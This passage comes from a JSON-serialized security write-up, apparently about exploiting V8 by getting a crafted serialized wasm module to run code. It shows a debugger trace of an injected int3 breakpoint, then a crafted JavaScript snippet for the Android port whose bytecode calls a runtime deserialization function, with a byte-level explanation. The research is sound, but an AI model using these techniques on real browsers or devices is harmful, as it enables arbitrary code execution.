e":25,"tag":201,"props":136278,"children":136279},{"style":220},[136280],{"type":31,"value":919},{"type":25,"tag":201,"props":136282,"children":136283},{"style":426},[136284],{"type":31,"value":429},{"type":25,"tag":201,"props":136286,"children":136287},{"style":220},[136288],{"type":31,"value":919},{"type":25,"tag":201,"props":136290,"children":136291},{"style":426},[136292],{"type":31,"value":429},{"type":25,"tag":201,"props":136294,"children":136295},{"style":220},[136296],{"type":31,"value":919},{"type":25,"tag":201,"props":136298,"children":136299},{"style":426},[136300],{"type":31,"value":429},{"type":25,"tag":201,"props":136302,"children":136303},{"style":220},[136304],{"type":31,"value":919},{"type":25,"tag":201,"props":136306,"children":136307},{"style":426},[136308],{"type":31,"value":429},{"type":25,"tag":201,"props":136310,"children":136311},{"style":220},[136312],{"type":31,"value":547},{"type":25,"tag":201,"props":136314,"children":136315},{"class":203,"line":499},[136316,136320,136324,136328,136332,136336,136340,136344,136348,136352,136356,136360,136364,136368,136372,136376,136380,136384,136388,136392,136396,136400,136404,136408,136412,136416,136420,136424,136428,136432,136436,136440,136444,136449,136453,136457,136461,136466,136470,136475,136479,136484,136488,136492,136496,136501,136505,136509,136513,136518,136522,136526,136530,136535],{"type":25,"tag":201,"props":136317,"children":136318},{"style":426},[136319],{"type":31,"value":135281},{"type":25,"tag":201,"props":136321,"children":136322},{"style":220},[136323],{"type":31,"value":919},{"type":25,"tag":201,"props":136325,"children":136326},{"style":426},[136327],{"type":31,"value":429},{"type":25,"tag":201,"props":136329,"children":136330},{"style":220},[136331],{"type":31,"value":919},{"type":25,"tag":201,"props":136333,"children":136334},{"style":426},[136335],{"type":31,"value":429},{"type":25,"tag":201,"props":136337,"children":136338},{"style":220},[136339],{"type":31,"value":919},{"type":25,"tag":201,"props":136341,"children":136342},{"style":426},[136343],{"type":31,"value":429},{"type":25,"tag":201,"props":136345,"children":136346},{"style":220},[136347],{"type":31,"value":919},{"type":25,"tag":201,"props":136349,"children":136350},{"style":426},[136351],{"type":31,"value":429},{"type":25,"tag":201,"props":136353,"children":136354},{"style":220},[136355],{"type":31,"value":919},{"type":25,"tag":201,"props":136357,"children":136358},{"style":426},[136359],{"type":31,"value":429},{"type":25,"tag":201,"props":136361,"children":136362},{"style":220},[136363],{"type":31,"value":919},{"type":25,"tag":201,"props":136365,"children":136366},{"style":426},[136367],{"type":31,"value":429},{"type":25,"tag":201,"props":136369,"children":136370},{"style":220},[136371],{"type":31,"value":919},{"type":25,"tag":201,"props":136373,"children":136374},{"style":426},[136375],{"type":31,"value":429},{"type":25,"tag":201,"props":136377,"children":136378},{"style":220},[136379],{"type":31,"value":919},{"type":25,"tag":201,"props":136381,"children":136382},{"style":426},[136383],{"type":31,"value":429},{"type":25,"tag":201,"props":136385,"children":136386},{"style":220},[136387],{"type":31,"value":919},{"type":25,"tag":201,"props":136389,"children":136390},{"style":426},[136391],{"type":31,"value":429},{"type":25,"tag":201,"props":136393,"children":136394},{"style":220},[136395],{"type":31,"value":919},{"type":25,"tag":201,"props":136397,"children":136398},{"style":426},[136399],{"type":31,"value":429},{"type":25,"tag":201,"props":136401,"children":136402},{"style":220},[136403],{"type":31,"value":919},{"type":25,"tag":201,"props":136405,"children":136406},{"style":426},[136407],{"type":31,"value":429},{"type":25,"tag":201,"props":136409,"children":136410},{"style":220},[136411],{"type":31,"value":919},{"type":25,"tag":201,"props":136413,"children":136414},{"style":426},[136415],{"type":31,"value":429},{"type":25,"tag":201,"props":136417,"children":136418},{"style":220},[136419],{"type":31,"value":919},{"type":25,"tag":201,"props":136421,"children":136422},{"style":426},[136423],{"type":31,"value":429},{"type":25,"tag":201,"props":136425,"children":136426},{"style":220},[136427],{"type":31,"value":919},{"type":25,"tag":201,"props":136429,"children":136430},{"style":426},[136431],{"type":31,"value":429},{"type":25,"tag":201,"props":136433,"children":136434},{"style":220},[136435],{"type":31,"value":919},{"type":25,"tag":201,"props":136437,"children":136438},{"style":426},[136439],{"type":31,"value":4629},{"type":25,"tag":201,"props":136441,"children":136442},{"style":220},[136443],{"type":31,"value":919},{"type":25,"tag":201,"props":136445,"children":136446},{"style":426},[136447],{"type":31,"value":136448},"204",{"type":25,"tag":201,"props":136450,"children":136451},{"style":220},[136452],{"type":31,"value":919},{"type":25,"tag":201,"props":136454,"children":136455},{"style":426},[136456],{"type":31,"value":45853},{"type":25,"tag":201,"props":136458,"children":136459},{"style":220},[136460],{"type":31,"value":919},{"type":25,"tag":201,"props":136462,"children":136463},{"style":426},[136464],{"type":31,"value":136465},"137",{"type":25,"tag":201,"props":136467,"children":136468},{"style":220},[136469],{"type":31,"value":919},{"type":25,"tag":201,"props":136471,"children":136472},{"style":426},[136473],{"type":31,"value":136474},"229",{"type":25,"tag":201,"props":136476,"children":136477},{"style":220},[136478],{"type":31,"value":919},{"type":25,"tag":201,"props":136480,"children":136481},{"style":426},[136482],{"type":31,"value":136483},"106",{"type":25,"tag":201,"props":136485,"children":136486},{"style":220},[136487],{"type":31,"value":919},{"type":25,"tag":201,"props":136489,"children":136490},{"style":426},[136491],{"type":31,"value":5579},{"type":25,"tag":201,"props":136493,"children":136494},{"style":220},[136495],{"type":31,"value":919},{"type":25,"tag":201,"props":136497,"children":136498},{"style":426},[136499],{"type":31,"value":136500},"86",{"type":25,"tag":201,"props":136502,"children":136503},{"style":220},[136504],{"type":31,"value":919},{"type":25,"tag":201,"props":136506,"children":136507},{"style":426},[136508],{"type":31,"value":45853},{"type":25,"tag":201,"props":136510,"children":136511},{"style":220},[136512],{"type":31,"value":919},{"type":25,"tag":201,"props":136514,"children":136515},{"style":426},[136516],{"type":31,"value":136517},"139",{"type":25,"tag":201,"props":136519,"children":136520},{"style":220},[136521],{"type":31,"value":919},{"type":25,"tag":201,"props":136523,"children":136524},{"style":426},[136525],{"type":31,"value":136474},{"type":25,"tag":201,"props":136527,"children":136528},{"style":220},[136529],{"type":31,"value":919},{"type":25,"tag":201,"props":136531,"children":136532},{"style":426},[136533],{"type":31,"value":136534},"93",{"type":25,"tag":201,"props":136536,"children":136537},{"style":220},[136538],{"type":31,"value":547},{"type":25,"tag":201,"props":136540,"children":136541},{"class":203,"line":522},[136542,136547,136551,136555,136559,136563,136567,136571,136575,136579,136583,136587,136591,136595,136599,136603,136607,136611,136615,136619,136623,136627,136631,136635,136639,136643,136647,136651,136655,136659,136663,136667,136671,136675,136679,136683,136687,136691,136695,136699,136703,136707,136711,136715,136719,136723,136727,136731,136735,136739,136743,136747,136751,136755,136759,136763,136767,136771,136775,136779],{"type":25,"tag":201,"props":136543,"children":136544},{"style":426},[136545],{"type":31,"value":136546},"    195",{"type":25,"tag":201,"props":136548,"children":136549},{"style":220},[136550],{"type":31,"value":919},{"type":25,"tag":201,"props":136552,"children":136553},{"style":426},[136554],{"type":31,"value":45381},{"type":25,"tag":201,"props":136556,"children":136557},{"style":220},[136558],{"type":31,"value":919},{"type":25,"tag":201,"props":136560,"children":136561},{"style":426},[136562],{"type":31,"value":60693},{"type":25,"tag":201,"props":136564,"children":136565},{"style":220},[136566],{"type":31,"value":919},{"type":25,"tag":201,"props":136568,"children":136569},{"style":426},[136570],{"type":31,"value":97751},{"type":25,"tag":201,"props":136572,"children":136573},{"style":220},[136574],{"type":31,"value":919},{"type":25,"tag":201,"props":136576,"children":136577},{"style":426},[136578],{"type":31,"value":429},{"type":25,"tag":201,"props":136580,"children":136581},{"style":220},[136582],{"type":31,"value":919},{"type":25,"tag":201,"props":136584,"children":136585},{"style":426},[136586],{"type":31,"value":19025},{"type":25,"tag":201,"props":136588,"children":136589},{"style":220},[136590],{"type":31,"value":919},{"type":25,"tag":201,"props":136592,"children":136593},{"style":426},[136594],{"type":31,"value":429},{"type":25,"tag":201,"props":136596,"children":136597},{"style":220},[136598],{"type":31,"value":919},{"type":25,"tag":201,"props":136600,"children":136601},{"style":426},[136602],{"type":31,"value":429},{"type":25,"tag":201,"props":136604,"children":136605},{"style":220},[136606],{"type":31,"value":919},{"type":25,"tag":201,"props":136608,"children":136609},{"style":426},[136610],{"type":31,"value":429},{"type":25,"tag":201,"props":136612,"children":136613},{"style":220},[136614],{"type":31,"value":919},{"type":25,"tag":201,"props":136616,"children":136617},{"style":426},[136618],{"type":31,"value":429},{"type":25,"tag":201,"props":136620,"children":136621},{"style":220},[136622],{"type":31,"value":919},{"type":25,"tag":201,"props":136624,"children":136625},{"style":426},[136626],{"type":31,"value":429},{"type":25,"tag":201,"props":136628,"children":136629},{"style":220},[136630],{"type":31,"value":919},{"type":25,"tag":201,"props":136632,"children":136633},{"style":426},[136634],{"type":31,"value":429},{"type":25,"tag":201,"props":136636,"children":136637},{"style":220},[136638],{"type":31,"value":919},{"type":25,"tag":201,"props":136640,"children":136641},{"style":426},[136642],{"type":31,"value":429},{"type":25,"tag":201,"props":136644,"children":136645},{"style":220},[136646],{"type":31,"value":919},{"type":25,"tag":201,"props":136648,"children":136649},{"style":426},[136650],{"type":31,"value":429},{"type":25,"tag":201,"props":136652,"children":136653},{"style":220},[136654],{"type":31,"value":919},{"type":25,"tag":201,"props":136656,"children":136657},{"style":426},[136658],{"type":31,"value":19025},{"type":25,"tag":201,"props":136660,"children":136661},{"style":220},[136662],{"type":31,"value":919},{"type":25,"tag":201,"props":136664,"children":136665},{"style":426},[136666],{"type":31,"value":429},{"type":25,"tag":201,"props":136668,"children":136669},{"style":220},[136670],{"type":31,"value":919},{"type":25,"tag":201,"props":136672,"children":136673},{"style":426},[136674],{"type":31,"value":429},{"type":25,"tag":201,"props":136676,"children":136677},{"style":220},[136678],{"type":31,"value":919},{"type":25,"tag":201,"props":136680,"children":136681},{"style":426},[136682],{"type":31,"value":429},{"type":25,"tag":201,"props":136684,"children":136685},{"style":220},[136686],{"type":31,"value":919},{"type":25,"tag":201,"props":136688,"children":136689},{"style":426},[136690],{"type":31,"value":429},{"type":25,"tag":201,"props":136692,"children":136693},{"style":220},[136694],{"type":31,"value":919},{"type":25,"tag":201,"props":136696,"children":136697},{"style":426},[136698],{"type":31,"value":429},{"type":25,"tag":201,"props":136700,"children":136701},{"style":220},[136702],{"type":31,"value":919},{"type":25,"tag":201,"props":136704,"children":136705},{"style":426},[136706],{"type":31,"value":429},{"type":25,"tag":201,"props":136708,"children":136709},{"style":220},[136710],{"type":31,"value":919},{"type":25,"tag":201,"props":136712,"children":136713},{"style":426},[136714],{"type":31,"value":429},{"type":25,"tag":201,"props":136716,"children":136717},{"style":220},[136718],{"type":31,"value":919},{"type":25,"tag":201,"props":136720,"children":136721},{"style":426},[136722],{"type":31,"value":429},{"type":25,"tag":201,"props":136724,"children":136725},{"style":220},[136726],{"type":31,"value":919},{"type":25,"tag":201,"props":136728,"children":136729},{"style":426},[136730],{"type":31,"value":429},{"type":25,"tag":201,"props":136732,"children":136733},{"style":220},[136734],{"type":31,"value":919},{"type":25,"tag":201,"props":136736,"children":136737},{"style":426},[136738],{"type":31,"value":429},{"type":25,"tag":201,"props":136740,"children":136741},{"style":220},[136742],{"type":31,"value":919},{"type":25,"tag":201,"props":136744,"children":136745},{"style":426},[136746],{"type":31,"value":429},{"type":25,"tag":201,"props":136748,"children":136749},{"style":220},[136750],{"type":31,"value":919},{"type":25,"tag":201,"props":136752,"children":136753},{"style":426},[136754],{"type":31,"value":429},{"type":25,"tag":201,"props":136756,"children":136757},{"style":220},[136758],{"type":31,"value":919},{"type":25,"tag":201,"props":136760,"children":136761},{"style":426},[136762],{"type":31,"value":429},{"type":25,"tag":201,"props":136764,"children":136765},{"style":220},[136766],{"type":31,"value":919},{"type":25,"tag":201,"props":136768,"children":136769},{"style":426},[136770],{"type":31,"value":429},{"type":25,"tag":201,"props":136772,"children":136773},{"style":220},[136774],{"type":31,"value":919},{"type":25,"tag":201,"props":136776,"children":136777},{"style":426},[136778],{"type":31,"value":429},{"type":25,"tag":201,"props":136780,"children":136781},{"style":220},[136782],{"type":31,"value":547},{"type":25,"tag":201,"props":136784,"children":136785},{"class":203,"line":531},[136786,136790,136794,136798,136802,136806,136810,136814,136818,136822,136826,136830,136834,136838,136842,136846,136850,136854,136858,136862,136866,136870,136874,136878,136882,136886,136890,136894,136898,136902,136906,136910,136914,136918,136922,136926,136930,136934,136938,136942,136946,136950,136954,136958,136962,136966,136970,136974,136978,136982,136986,136991,136995,136999],{"type":25,"tag":201,"props":136787,"children":136788},{"style":426},[136789],{"type":31,"value":135281},{"type":25,"tag":201,"props":136791,"children":136792},{"style":220},[136793],{"type":31,"value":919},{"type":25,"tag":201,"props":136795,"children":136796},{"style":426},[136797],{"type":31,"value":429},{"type":25,"tag":201,"props":136799,"children":136800},{"style":220},[136801],{"type":31,"value":919},{"type":25,"tag":201,"props":136803,"children":136804},{"style":426},[136805],{"type":31,"value":429},{"type":25,"tag":201,"props":136807,"children":136808},{"style":220},[136809],{"type":31,"value":919},{"type":25,"tag":201,"props":136811,"children":136812},{"style":426},[136813],{"type":31,"value":429},{"type":25,"tag":201,"props":136815,"children":136816},{"style":220},[136817],{"type":31,"value":919},{"type":25,"tag":201,"props":136819,"children":136820},{"style":426},[136821],{"type":31,"value":429},{"type":25,"tag":201,"props":136823,"children":136824},{"style":220},[136825],{"type":31,"value":919},{"type":25,"tag":201,"props":136827,"children":136828},{"style":426},[136829],{"type":31,"value":429},{"type":25,"tag":201,"props":136831,"children":136832},{"style":220},[136833],{"type":31,"value":919},{"type":25,"tag":201,"props":136835,"children":136836},{"style":426},[136837],{"type":31,"value":429},{"type":25,"tag":201,"props":136839,"children":136840},{"style":220},[136841],{"type":31,"value":919},{"type":25,"tag":201,"props":136843,"children":136844},{"style":426},[136845],{"type":31,"value":429},{"type":25,"tag":201,"props":136847,"children":136848},{"style":220},[136849],{"type":31,"value":919},{"type":25,"tag":201,"props":136851,"children":136852},{"style":426},[136853],{"type":31,"value":429},{"type":25,"tag":201,"props":136855,"children":136856},{"style":220},[136857],{"type":31,"value":919},{"type":25,"tag":201,"props":136859,"children":136860},{"style":426},[136861],{"type":31,"value":429},{"type":25,"tag":201,"props":136863,"children":136864},{"style":220},[136865],{"type":31,"value":919},{"type":25,"tag":201,"props":136867,"children":136868},{"style":426},[136869],{"type":31,"value":429},{"type":25,"tag":201,"props":136871,"children":136872},{"style":220},[136873],{"type":31,"value":919},{"type":25,"tag":201,"props":136875,"children":136876},{"style":426},[136877],{"type":31,"value":429},{"type":25,"tag":201,"props":136879,"children":136880},{"style":220},[136881],{"type":31,"value":919},{"type":25,"tag":201,"props":136883,"children":136884},{"style":426},[136885],{"type":31,"value":429},{"type":25,"tag":201,"props":136887,"children":136888},{"style":220},[136889],{"type":31,"value":919},{"type":25,"tag":201,"props":136891,"children":136892},{"style":426},[136893],{"type":31,"value":429},{"type":25,"tag":201,"props":136895,"children":136896},{"style":220},[136897],{"type":31,"value":919},{"type":25,"tag":201,"props":136899,"children":136900},{"style":426},[136901],{"type":31,"value":429},{"type":25,"tag":201,"props":136903,"children":136904},{"style":220},[136905],{"type":31,"value":919},{"type":25,"tag":201,"props":136907,"children":136908},{"style":426},[136909],{"type":31,"value":429},{"type":25,"tag":201,"props":136911,"children":136912},{"style":220},[136913],{"type":31,"value":919},{"type":25,"tag":201,"props":136915,"children":136916},{"style":426},[136917],{"type":31,"value":429},{"type":25,"tag":201,"props":136919,"children":136920},{"style":220},[136921],{"type":31,"value":919},{"type":25,"tag":201,"props":136923,"children":136924},{"style":426},[136925],{"type":31,"value":429},{"type":25,"tag":201,"props":136927,"children":136928},{"style":220},[136929],{"type":31,"value":919},{"type":25,"tag":201,"props":136931,"children":136932},{"style":426},[136933],{"type":31,"value":429},{"type":25,"tag":201,"props":136935,"children":136936},{"style":220},[136937],{"type":31,"value":919},{"type":25,"tag":201,"props":136939,"children":136940},{"style":426},[136941],{"type":31,"value":429},{"type":25,"tag":201,"props":136943,"children":136944},{"style":220},[136945],{"type":31,"value":919},{"type":25,"tag":201,"props":136947,"children":136948},{"style":426},[136949],{"type":31,"value":429},{"type":25,"tag":201,"props":136951,"children":136952},{"style":220},[136953],{"type":31,"value":919},{"type":25,"tag":201,"props":136955,"children":136956},{"style":426},[136957],{"type":31,"value":429},{"type":25,"tag":201,"props":136959,"children":136960},{"style":220},[136961],{"type":31,"value":919},{"type":25,"tag":201,"props":136963,"children":136964},{"style":426},[136965],{"type":31,"value":429},{"type":25,"tag":201,"props":136967,"children":136968},{"style":220},[136969],{"type":31,"value":919},{"type":25,"tag":201,"props":136971,"children":136972},{"style":426},[136973],{"type":31,"value":30906},{"type":25,"tag":201,"props":136975,"children":136976},{"style":220},[136977],{"type":31,"value":919},{"type":25,"tag":201,"props":136979,"children":136980},{"style":426},[136981],{"type":31,"value":136534},{"type":25,"tag":201,"props":136983,"children":136984},{"style":220},[136985],{"type":31,"value":919},{"type":25,"tag":201,"props":136987,"children":136988},{"style":426},[136989],{"type":31,"value":136990},"198",{"type":25,"tag":201,"props":136992,"children":136993},{"style":220},[136994],{"type":31,"value":919},{"type":25,"tag":201,"props":136996,"children":136997},{"style":426},[136998],{"type":31,"value":429},{"type":25,"tag":201,"props":137000,"children":137001},{"style":220},[137002],{"type":31,"value":547},{"type":25,"tag":201,"props":137004,"children":137005},{"class":203,"line":550},[137006],{"type":25,"tag":201,"props":137007,"children":137008},{"style":220},[137009],{"type":31,"value":135568},{"type":25,"tag":201,"props":137011,"children":137012},{"class":203,"line":563},[137013,137017,137022,137026,137031,137035,137039,137043,137047,137051,137055],{"type":25,"tag":201,"props":137014,"children":137015},{"style":208},[137016],{"type":31,"value":9364},{"type":25,"tag":201,"props":137018,"children":137019},{"style":246},[137020],{"type":31,"value":137021}," r",{"type":25,"tag":201,"props":137023,"children":137024},{"style":261},[137025],{"type":31,"value":413},{"type":25,"tag":201,"props":137027,"children":137028},{"style":214},[137029],{"type":31,"value":137030}," bug",{"type":25,"tag":201,"props":137032,"children":137033},{"style":220},[137034],{"type":31,"value":298},{"type":25,"tag":201,"props":137036,"children":137037},{"style":246},[137038],{"type":31,"value":134899},{"type":25,"tag":201,"props":137040,"children":137041},{"style":220},[137042],{"type":31,"value":919},{"type":25,"tag":201,"props":137044,"children":137045},{"style":246},[137046],{"type":31,"value":126226},{"type":25,"tag":201,"props":137048,"children":137049},{"style":220},[137050],{"type":31,"value":80},{"type":25,"tag":201,"props":137052,"children":137053},{"style":246},[137054],{"type":31,"value":126226},{"type":25,"tag":201,"props":137056,"children":137057},{"style":220},[137058],{"type":31,"value":308},{"type":25,"tag":201,"props":137060,"children":137061},{"class":203,"line":572},[137062,137067,137071,137075,137079,137083,137087,137091,137096,137100],{"type":25,"tag":201,"props":137063,"children":137064},{"style":246},[137065],{"type":31,"value":137066},"  result",{"type":25,"tag":201,"props":137068,"children":137069},{"style":261},[137070],{"type":31,"value":413},{"type":25,"tag":201,"props":137072,"children":137073},{"style":220},[137074],{"type":31,"value":238},{"type":25,"tag":201,"props":137076,"children":137077},{"style":230},[137078],{"type":31,"value":1845},{"type":25,"tag":201,"props":137080,"children":137081},{"style":246},[137082],{"type":31,"value":137021},{"type":25,"tag":201,"props":137084,"children":137085},{"style":220},[137086],{"type":31,"value":80},{"type":25,"tag":201,"props":137088,"children":137089},{"style":214},[137090],{"type":31,"value":58644},{"type":25,"tag":201,"props":137092,"children":137093},{"style":220},[137094],{"type":31,"value":137095},"()).",{"type":25,"tag":201,"props":137097,"children":137098},{"style":246},[137099],{"type":31,"value":40222},{"type":25,"tag":201,"props":137101,"children":137102},{"style":220},[137103],{"type":31,"value":461},{"type":25,"tag":201,"props":137105,"children":137106},{"class":203,"line":590},[137107,137111,137116,137120,137124,137128,137132,137136,137140,137144],{"type":25,"tag":201,"props":137108,"children":137109},{"style":208},[137110],{"type":31,"value":37258},{"type":25,"tag":201,"props":137112,"children":137113},{"style":246},[137114],{"type":31,"value":137115}," wasm_instance",{"type":25,"tag":201,"props":137117,"children":137118},{"style":261},[137119],{"type":31,"value":413},{"type":25,"tag":201,"props":137121,"children":137122},{"style":208},[137123],{"type":31,"value":828},{"type":25,"tag":201,"props":137125,"children":137126},{"style":246},[137127],{"type":31,"value":134882},{"type":25,"tag":201,"props":137129,"children":137130},{"style":220},[137131],{"type":31,"value":80},{"type":25,"tag":201,"props":137133,"children":137134},{"style":214},[137135],{"type":31,"value":134936},{"type":25,"tag":201,"props":137137,"children":137138},{"style":220},[137139],{"type":31,"value":298},{"type":25,"tag":201,"props":137141,"children":137142},{"style":246},[137143],{"type":31,"value":10587},{"type":25,"tag":201,"props":137145,"children":137146},{"style":220},[137147],{"type":31,"value":308},{"type":25,"tag":201,"props":137149,"children":137150},{"class":203,"line":608},[137151,137155,137159,137163,137167,137171,137175,137179,137183],{"type":25,"tag":201,"props":137152,"children":137153},{"style":208},[137154],{"type":31,"value":37258},{"type":25,"tag":201,"props":137156,"children":137157},{"style":246},[137158],{"type":31,"value":1902},{"type":25,"tag":201,"props":137160,"children":137161},{"style":261},[137162],{"type":31,"value":413},{"type":25,"tag":201,"props":137164,"children":137165},{"style":246},[137166],{"type":31,"value":137115},{"type":25,"tag":201,"props":137168,"children":137169},{"style":220},[137170],{"type":31,"value":80},{"type":25,"tag":201,"props":137172,"children":137173},{"style":246},[137174],{"type":31,"value":38956},{"type":25,"tag":201,"props":137176,"children":137177},{"style":220},[137178],{"type":31,"value":80},{"type":25,"tag":201,"props":137180,"children":137181},{"style":246},[137182],{"type":31,"value":134985},{"type":25,"tag":201,"props":137184,"children":137185},{"style":220},[137186],{"type":31,"value":461},{"type":25,"tag":201,"props":137188,"children":137189},{"class":203,"line":617},[137190,137195],{"type":25,"tag":201,"props":137191,"children":137192},{"style":214},[137193],{"type":31,"value":137194},"  f",{"type":25,"tag":201,"props":137196,"children":137197},{"style":220},[137198],{"type":31,"value":1985},{"type":25,"tag":201,"props":137200,"children":137201},{"class":203,"line":625},[137202],{"type":25,"tag":201,"props":137203,"children":137204},{"style":220},[137205],{"type":31,"value":103069},{"type":25,"tag":34,"props":137207,"children":137208},{},[137209],{"type":31,"value":137210},"Running this in a debugger shows the expected breakpoint:",{"type":25,"tag":191,"props":137212,"children":137214},{"code":137213},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[137215],{"type":25,"tag":115,"props":137216,"children":137217},{"__ignoreMap":7},[137218],{"type":31,"value":137213},{"type":25,"tag":40,"props":137220,"children":137222},{"id":137221},"porting-to-android",[137223],{"type":31,"value":137224},"Porting to Android",{"type":25,"tag":34,"props":137226,"children":137227},{},[137228,137230,137235,137237,137242,137244,137249,137251,137257],{"type":31,"value":137229},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":25,"tag":115,"props":137231,"children":137233},{"className":137232},[],[137234],{"type":31,"value":134014},{"type":31,"value":137236}," fails. We cross-compiled ",{"type":25,"tag":115,"props":137238,"children":137240},{"className":137239},[],[137241],{"type":31,"value":133173},{"type":31,"value":137243}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":25,"tag":115,"props":137245,"children":137247},{"className":137246},[],[137248],{"type":31,"value":134014},{"type":31,"value":137250}," returned ",{"type":25,"tag":115,"props":137252,"children":137254},{"className":137253},[],[137255],{"type":31,"value":137256},"undefined",{"type":31,"value":80},{"type":25,"tag":34,"props":137259,"children":137260},{},[137261,137263,137268,137270,137275],{"type":31,"value":137262},"Instead, we modified the bytecode to call ",{"type":25,"tag":115,"props":137264,"children":137266},{"className":137265},[],[137267],{"type":31,"value":134040},{"type":31,"value":137269}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":25,"tag":115,"props":137271,"children":137273},{"className":137272},[],[137274],{"type":31,"value":134014},{"type":31,"value":80},{"type":25,"tag":191,"props":137277,"children":137279},{"code":137278,"language":36685,"meta":7,"className":36683,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[137280],{"type":25,"tag":115,"props":137281,"children":137282},{"__ignoreMap":7},[137283,137294,137338,137358,137374,137397,137424,137439],{"type":25,"tag":201,"props":137284,"children":137285},{"class":203,"line":204},[137286,137290],{"type":25,"tag":201,"props":137287,"children":137288},{"style":230},[137289],{"type":31,"value":49408},{"type":25,"tag":201,"props":137291,"children":137292},{"style":220},[137293],{"type":31,"value":327},{"type":25,"tag":201,"props":137295,"children":137296},{"class":203,"line":226},[137297,137301,137305,137309,137313,137317,137321,137326,137330,137334],{"type":25,"tag":201,"props":137298,"children":137299},{"style":246},[137300],{"type":31,"value":134281},{"type":25,"tag":201,"props":137302,"children":137303},{"style":220},[137304],{"type":31,"value":77702},{"type":25,"tag":201,"props":137306,"children":137307},{"style":267},[137308],{"type":31,"value":134290},{"type":25,"tag":201,"props":137310,"children":137311},{"style":220},[137312],{"type":31,"value":80},{"type":25,"tag":201,"props":137314,"children":137315},{"style":214},[137316],{"type":31,"value":134299},{"type":25,"tag":201,"props":137318,"children":137319},{"style":220},[137320],{"type":31,"value":298},{"type":25,"tag":201,"props":137322,"children":137323},{"style":426},[137324],{"type":31,"value":137325},"0x059301",{"type":25,"tag":201,"props":137327,"children":137328},{"style":261},[137329],{"type":31,"value":52333},{"type":25,"tag":201,"props":137331,"children":137332},{"style":426},[137333],{"type":31,"value":6029},{"type":25,"tag":201,"props":137335,"children":137336},{"style":220},[137337],{"type":31,"value":134321},{"type":25,"tag":201,"props":137339,"children":137340},{"class":203,"line":278},[137341,137345,137349,137354],{"type":25,"tag":201,"props":137342,"children":137343},{"style":246},[137344],{"type":31,"value":134329},{"type":25,"tag":201,"props":137346,"children":137347},{"style":261},[137348],{"type":31,"value":10412},{"type":25,"tag":201,"props":137350,"children":137351},{"style":426},[137352],{"type":31,"value":137353}," 0x03027a6c",{"type":25,"tag":201,"props":137355,"children":137356},{"style":220},[137357],{"type":31,"value":461},{"type":25,"tag":201,"props":137359,"children":137360},{"class":203,"line":311},[137361,137365,137370],{"type":25,"tag":201,"props":137362,"children":137363},{"style":230},[137364],{"type":31,"value":4149},{"type":25,"tag":201,"props":137366,"children":137367},{"style":426},[137368],{"type":31,"value":137369}," 0x393e71a",{"type":25,"tag":201,"props":137371,"children":137372},{"style":220},[137373],{"type":31,"value":461},{"type":25,"tag":201,"props":137375,"children":137376},{"class":203,"line":330},[137377,137381,137385,137389,137393],{"type":25,"tag":201,"props":137378,"children":137379},{"style":220},[137380],{"type":31,"value":47950},{"type":25,"tag":201,"props":137382,"children":137383},{"style":230},[137384],{"type":31,"value":49488},{"type":25,"tag":201,"props":137386,"children":137387},{"style":220},[137388],{"type":31,"value":238},{"type":25,"tag":201,"props":137390,"children":137391},{"style":246},[137392],{"type":31,"value":52532},{"type":25,"tag":201,"props":137394,"children":137395},{"style":220},[137396],{"type":31,"value":275},{"type":25,"tag":201,"props":137398,"children":137399},{"class":203,"line":397},[137400,137404,137408,137412,137416,137420],{"type":25,"tag":201,"props":137401,"children":137402},{"style":246},[137403],{"type":31,"value":103028},{"type":25,"tag":201,"props":137405,"children":137406},{"style":220},[137407],{"type":31,"value":80},{"type":25,"tag":201,"props":137409,"children":137410},{"style":214},[137411],{"type":31,"value":103037},{"type":25,"tag":201,"props":137413,"children":137414},{"style":220},[137415],{"type":31,"value":298},{"type":25,"tag":201,"props":137417,"children":137418},{"style":267},[137419],{"type":31,"value":134405},{"type":25,"tag":201,"props":137421,"children":137422},{"style":220},[137423],{"type":31,"value":308},{"type":25,"tag":201,"props":137425,"children":137426},{"class":203,"line":437},[137427,137431,137435],{"type":25,"tag":201,"props":137428,"children":137429},{"style":230},[137430],{"type":31,"value":134417},{"type":25,"tag":201,"props":137432,"children":137433},{"style":246},[137434],{"type":31,"value":134422},{"type":25,"tag":201,"props":137436,"children":137437},{"style":220},[137438],{"type":31,"value":461},{"type":25,"tag":201,"props":137440,"children":137441},{"class":203,"line":464},[137442],{"type":25,"tag":201,"props":137443,"children":137444},{"style":220},[137445],{"type":31,"value":1187},{"type":25,"tag":34,"props":137447,"children":137448},{},[137449,137451,137457,137459,137465,137467,137473,137475,137480,137482,137488,137490,137495,137496,137502],{"type":31,"value":137450},"Here, ",{"type":25,"tag":115,"props":137452,"children":137454},{"className":137453},[],[137455],{"type":31,"value":137456},"a1 + 0x03027a6c",{"type":31,"value":137458}," generates the bytes ",{"type":25,"tag":115,"props":137460,"children":137462},{"className":137461},[],[137463],{"type":31,"value":137464},"01 4b 6c 7a 02 03",{"type":31,"value":137466},", where ",{"type":25,"tag":115,"props":137468,"children":137470},{"className":137469},[],[137471],{"type":31,"value":137472},"0x6c",{"type":31,"value":137474}," is the ",{"type":25,"tag":115,"props":137476,"children":137478},{"className":137477},[],[137479],{"type":31,"value":133998},{"type":31,"value":137481}," opcode, ",{"type":25,"tag":115,"props":137483,"children":137485},{"className":137484},[],[137486],{"type":31,"value":137487},"0x027a",{"type":31,"value":137489}," is the function ID of ",{"type":25,"tag":115,"props":137491,"children":137493},{"className":137492},[],[137494],{"type":31,"value":134040},{"type":31,"value":7996},{"type":25,"tag":115,"props":137497,"children":137499},{"className":137498},[],[137500],{"type":31,"value":137501},"0x03",{"type":31,"value":137503}," is the register index holding its first argument.",{"type":25,"tag":34,"props":137505,"children":137506},{},[137507,137509,137514,137515,137520,137522,137527],{"type":31,"value":137508},"Our earlier javascript snippet that serialized the wasm module used two native calls: 